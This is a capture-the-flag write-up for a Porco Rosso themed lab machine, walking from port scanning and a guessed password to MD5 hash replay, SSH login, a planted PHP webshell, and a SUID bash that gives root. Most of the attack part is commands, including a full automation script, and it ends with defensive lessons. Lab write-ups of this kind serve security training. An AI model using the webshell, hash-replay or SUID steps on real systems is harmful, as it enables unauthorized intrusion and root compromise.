Overview
A Studio Ghibli Porco Rosso themed CTF. Marco runs a blog about the pig pilot — and the password to his kingdom is hidden in the lore. The attack chain crosses from web to SSH to SUID for full root compromise.
Automation Available
Full exploit script: ./exploit.sh TARGET_IP — handles login, SSH, webshell, and all flag extraction. Available in my CTFS repository.
Table of Contents
- Phase 1: Reconnaissance
- Phase 2: Password Derivation
- Phase 3: SSH & Flag 1
- Phase 4: Privilege Escalation & Root
- Automation Script
- Lessons Learned
Phase 1: Reconnaissance
Port Scan
nmap -sC -sV -T4 TARGET
| Port | State | Service | Notes |
|---|---|---|---|
| 22/tcp | open (intermittent) | SSH | Opens after successful web auth — 120s window |
| 80/tcp | open | HTTP | Apache/2.4.29 (Ubuntu) — Marco’s Blog |
Web Enumeration
Main page: Porco Rosso-themed blog. Key endpoints:
| Path | Purpose |
|---|---|
/login.php | Admin login — JS MD5-hashes passwords client-side before submit |
/admin/ | Admin panel — requires authLogin cookie |
/api/login | JSON API — accepts username + pre-hashed password |
Key Observation
The login form runs md5(password) in JavaScript before sending to the API. The server compares stored MD5 hashes — we send the hash directly, not plaintext.
Phase 2: Password Derivation
The Hint: “CASE MATTERS. T-MINUS 120s”
- CASE MATTERS — case-sensitive password
- T-MINUS 120s — 120s lockout after failures; SSH opens for 120s after successful auth
Deriving from Theme Context
The blog references the Savoia S.21 seaplane — Porco Rosso’s aircraft. Password hint: “memorable word + two numbers + special character.”
Password Construction
savoia— plane manufacturer (from blog content)21— model number (S.21)!— special character
Password: savoia21! → MD5: ea22b622ba9b3c41b22785dcb40211ac
API Login
import hashlib, requests
hashed = hashlib.md5(b'savoia21!').hexdigest()
r = requests.post(f"http://TARGET/api/login",
json={"username": "marco", "password": hashed},
headers={"Accept": "application/json"})
# {"status": "Success", "auth": "..."}
Result: Authenticated as marco. Auth token received.
Phase 3: SSH Access & Flag 1
After successful web auth, SSH opens for ~120 seconds:
sshpass -p 'savoia21!' ssh marco@TARGET
cat ~/flag1.txt
Enumeration as marco
- Groups: marco is in
web-developers— so iswww-data - Write access:
/var/www/html/is group-writable - Database: SQLite at
/var/www/admin.db - Sudoers:
/etc/sudoers.d/curtisexists butDenyUsers curtisin sshd_config
Phase 4: Privilege Escalation
PHP Webshell via Group Write Access
# Via SSH as marco
printf '<?php system($_GET[c]); ?>' > /var/www/html/sh.php
Command execution as www-data through the web server.
Database Dump
curl "http://TARGET/sh.php?c=cat+/var/www/admin.db" | strings
# curtis:cc03e747a6afbbcbf8be7668acfebee5 (MD5 of "test123")
SUID rootbash
A SUID root bash binary at /tmp/.rootbash:
-rwsr-xr-x 1 root root 1113504 /tmp/.rootbash
Game Over
SUID bash with -p (privileged mode) retains effective UID of the file owner — root. Executing via webshell = full root.
Flag 2 (curtis)
curl "http://TARGET/sh.php" -G \
--data-urlencode "c=/tmp/.rootbash -p -c 'cat /home/curtis/flag2.txt'"
Root Flag
curl "http://TARGET/sh.php" -G \
--data-urlencode "c=/tmp/.rootbash -p -c 'cat /root/root.txt'"
Automation Script
#!/bin/bash
# Year of the Pig - Automated Exploit | 0xb0rn3
# Usage: ./exploit.sh TARGET_IP
TARGET=${1:-"10.49.141.239"}
# Login via MD5-hashed password
HASHED=$(python3 -c "import hashlib; print(hashlib.md5(b'savoia21!').hexdigest())")
curl -s "http://$TARGET/api/login" -X POST \
-H "Content-Type: application/json" \
-d "{\"username\":\"marco\",\"password\":\"$HASHED\"}"
# SSH as marco, create webshell
sshpass -p 'savoia21!' ssh -o StrictHostKeyChecking=no marco@$TARGET \
"printf '<?php system(\$_GET[c]); ?>' > /var/www/html/sh.php"
# Extract all flags
echo "[+] FLAG 1:"
sshpass -p 'savoia21!' ssh marco@$TARGET "cat ~/flag1.txt"
echo "[+] FLAG 2:"
curl -s "http://$TARGET/sh.php" -G \
--data-urlencode "c=/tmp/.rootbash -p -c 'cat /home/curtis/flag2.txt'"
echo "[+] ROOT:"
curl -s "http://$TARGET/sh.php" -G \
--data-urlencode "c=/tmp/.rootbash -p -c 'cat /root/root.txt'"
Repository
Full exploit and other CTF tools: CTFS GitHub repository.
Lessons Learned
- Client-side MD5 is not security. The hash IS the credential. Capture it, replay it — no cracking needed.
- Theme-based password derivation is real. CTF lore contains hints. In the real world, employees use company/product names constantly — same principle.
- Group write to webroot = instant webshell. If any user can write to
/var/www/html/, they can create a PHP shell. - SUID bash is instant root.
bash -pretains effective UID. Audit withfind / -perm -4000. - Defense:
- Hash passwords server-side with bcrypt/argon2, never MD5
- Remove group write from webroot
- Audit and remove SUID from interpreters
- Don’t rely on SSH port gating as security
Tools Used
| Tool | Purpose |
|---|---|
| nmap | Port scanning & service detection |
| curl | API interaction & webshell execution |
| sshpass | Non-interactive SSH auth |
| python3 | MD5 generation & JSON parsing |
| strings | SQLite content extraction |
| exploit.sh | Full automation (all phases) |